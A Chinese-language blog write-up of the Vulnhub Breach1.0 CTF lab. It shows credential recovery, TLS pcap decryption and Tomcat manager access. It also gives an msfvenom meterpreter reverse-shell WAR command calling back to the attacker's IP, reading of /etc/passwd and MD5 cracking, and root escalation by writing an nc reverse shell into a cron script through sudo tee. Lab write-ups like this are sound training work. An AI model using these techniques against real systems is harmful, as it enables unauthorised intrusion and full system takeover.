【vulnhub靶场】Breach1打靶过程记录
Vulnhub是一个提供各种漏洞环境的一个靶场平台,大部分都是虚拟机镜像文件,预先设计各种漏洞需要使用VMware或者VirtualBox运行,每个镜像都有破解的目标,从启动虚拟机到获取系统的root权限和查看flag。.........
Vulnhub简介
Vulnhub是一个提供各种漏洞环境的一个靶场平台,大部分都是虚拟机镜像文件,预先设计各种漏洞需要使用VMware或者VirtualBox运行,每个镜像都有破解的目标,从启动虚拟机到获取系统的root权限和查看flag
Breach1.0靶机信息
breach1.0 是一个难度初级到中级的Boot2Root/CTF挑战。靶机下载地址:Breach1.0
靶机描述
环境准备
把下载靶机导入VMware
,因为靶场巡检配置有静态IP地址(192.168.110.140), 需要将虚拟机网卡设置为host-only
仅主机的方式。为了方便练习,我将kali攻击机,添加了一块虚拟网卡,第二块网卡设置的网段跟虚拟机同一网段 。
攻击步骤
端口扫描
因为知道了靶场环境的IP地址,所以可以直接使用nmap扫描端口。执行如下命令:
nmap -T4 -A -v 192.168.110.140
扫描的结果如下:
通过上述结果看到该靶机开放了1000多个端口,很明显不合理,怀疑是部署了蜜罐系统。尝试访问80端口看看能收集到什么信息。
通过查看网页的源码发现一串特殊字符串,好像是经过了什么技术加密后的密文。
Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo
解密密文
通过猜测这串密文是采用Base64加密的,采用CTF编码工具进行解密,经过两次Base64解密。如下:
发现好像是用户名和密码。先记录起来,等下可能会用到。
pgibbons:damnitfeel$goodtobeagang$ta
发现员工门口
通过主页的图片链接跳转到另外一个页面,包含两个图片和一个员工门户网站,通过检查源码,没有发现特别的信息。如下图:
从员工门户网站入门,把刚才的收集的信息,尝试能不能登录到员工的门户。发现成功登入了,如下图:
登入发现有3封邮件未读,先去看看能不能收集到有用的信息
第一封邮件内容如下:
我必须继续要求你让你的团队只将任何敏感的工件发布到管理门户。我的密码非常安全。如果你能告诉他们,那就太好了
第二封邮件内容如下:
上周在Chotchkie’s的欢乐时光里,我从一个供应商那里买到了一个非常划算的IDS/IPS系统!
第三封邮件内容如下:
![image.png](https://img-blog.csdnimg.cn/img_convert/815e70fae96a3887145dc244e92945ec.png
大致内容是:我将文件保存在这里:192.168.110.140/.keystore
下载keystore文件
从192.168.110.140/.keystore
文件。利用keytool生成自签名证书,需要密码,输入之前的收集的密码提示不对。于是,继续在门户网站收集信息。发现一条提示信息:
按照提示设置了该用户的基本信息,点击提交。之后,在用户基本信息中发现Content中有个链接文件Content SSL implementation test capture
。
点开发现如下图:
大致内容:我上传了一个pcap文件,是我们红队攻击的一个复制文件。我不知道他们耍了什么花招,但是我无法读取文件。我尝试了什么什么,还是搞不清楚。他们告诉我alias、存储密码和密钥密码都设置为tomcat。有人知道这是啥东西吗?我猜猜是不是加密了?我这两天要去钓鱼,不能收邮件和接电话。
通过http://192.168.110.140/impresscms/_SSL_test_phase1.pcap
,把这个数据包文件下载回来,同时存储密码、密钥密码、别名都tomcat。
Wireshark打开pcap文件
用wireshark打开pcap如下图,但是发现信息经过了加密,无查看有用的信息
利用keytool 尝试用tomcat
的密码把keystore
导出证书文件。
wireshark设置证书
把刚导出的证书设置到wireshark中,通过“编辑–首选项–Protocols–TLS(2019年之前的版本是SSL),点击右边的Edit”,如下图:
过滤条件查看
由于数据包数量有点多,通过条件过滤有用的数据包,进行查看,在wireshark输入如下过滤条件:
ip.src == 192.168.110.140 || ip.dst == 192.168.110.140 and http
如下图:
通过查看上述的数据包发现如下的信息:
- 在编号14的数据包中发现疑似管理后台url地址:192.168.110.140:8443/_M@nag3Me/html
- 在编号26的数据包中发现疑似登录密码: dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC
通过Base64解密得到如下信息:
tomcat:Tt\5D8F(#!*u=G)4m7zB
访问管理后台
通过访问192.168.110.140:8443/_M@nag3Me/html
,发现不能正常访问,如下图:
由于是证书的过期,我们运行Burp Suite
,监听127.0.0.1:8080,在浏览器设置代理,地址127.0.0.1:8080
成功打开并输入tomcat:Tt\5D8F(#!*u=G)4m7zB
用户名和密码成功进入到管理后台。如下图:
通过观察上述的页面发现可以上传,可以利用反弹获取shell.
利用msf生成反弹shell
执行如下命令,生成反弹shell的war包。
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.129 lport=6666 -f war -o getshell.war
这台Kali控制机必须和靶机同网段,否则无法连接。我这个案例是kali使用双网卡一个网卡是于靶机是在同一网段的。
在kali设置监听
在kali打开msfconsole,并设置相关参数,开始监听。如下:
把生成的getshell.war包上传到管理后台,并访问进行戳发。
反弹成功,并获取shell.如下
获取当前用户和系统版本信息
获得交互shell
探测tomcat用户能访问那些文件
能访问/etc/passwd的文件,如下图:
![image.png](https://img-blog.csdnimg.cn/img_convert/574f43edab7cff43bce6ae60563d5f9e.png#clientId=u3388ee06-d67e-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=454&id=ufd7ef3a5&margin=[object Object]&name=image.png&originHeight=454&originWidth=836&originalType=binary&ratio=1&rotation=0&showTitle=false&size=52539&status=done&style=none&taskId=u41f6da7d-5c7e-4680-b26c-b02937d2299&title=&width=836)
在Apache的web目录下发现,一个特殊的目录5446
,进入改目录发现两个php文件,都是数据配置文件。如下:
从上述的文件发现,数据库的用户名是root,密码为空。通过mysql -uroot -p
命令连接到数据中,收集有用的信息。查看数据库中系统库的User表,获取到milton
的用户加密的密码如下:
检查milton
密文长度是32位,怀疑是MD5加密的,通过一些在线的MD5解密工具得到密码是thelaststraw
,如下:
尝试从tomcat6的用户切换到milton用户,如下:
进入milton家目录,发现一个脚本文件,打开并没有什么内容,被调戏了,如下图:
把my_badge.jpg
图片下载到kali机中通过string
查看也没有收集有用的信息。接着通过观察milton的历史命令,看能不能发现有用的信息。如下:
通过分析上述发现milton用户没有sudo的权限,需要切换到blumbergh才能执行sudo的权限。
从图片中获取信息
在Apache的www/html目录下有个images目录存放6张图片,把它下载到kali机器上进行信息的收集。如下图:
从图片提取到conffeestains
,尝试用字符串尝试切换到blumbergh
用户中,发现能成功切换。如下图:
查看blumbergh
用户的历史命令情况,如下:
发现有个shell脚本文件,查看内容:
改脚本每三分钟执行清理/var/lib/tomcat6/webapps目录的文件
检查改用户拥有那些sudo权限的命令。执行如下的命令查看:
sudo -l
输出的结果如下:
tee命令用于将数据重定向到文件,另一方面还可以提供一份重定向数据的副本作为后续命令的stdin。简单的说就是把数据重定向到给定文件和屏幕上。
提权
查看权限,发现/usr/share/cleanup/tidyup.sh
只有root
可写,如下图:
tidyup.sh文件只有root可写,而能够以root权限运行tee命令,那么用tee命令写tidyup.sh:先将反弹shell命令写入shell.txt文件,nc反弹命令
在kali提前开启监听,执行如下的命令:
nc -lvvp 8888
静静等待三分钟,输出的结果如下:
成功获取了flag,如下图:
更多推荐
所有评论(0)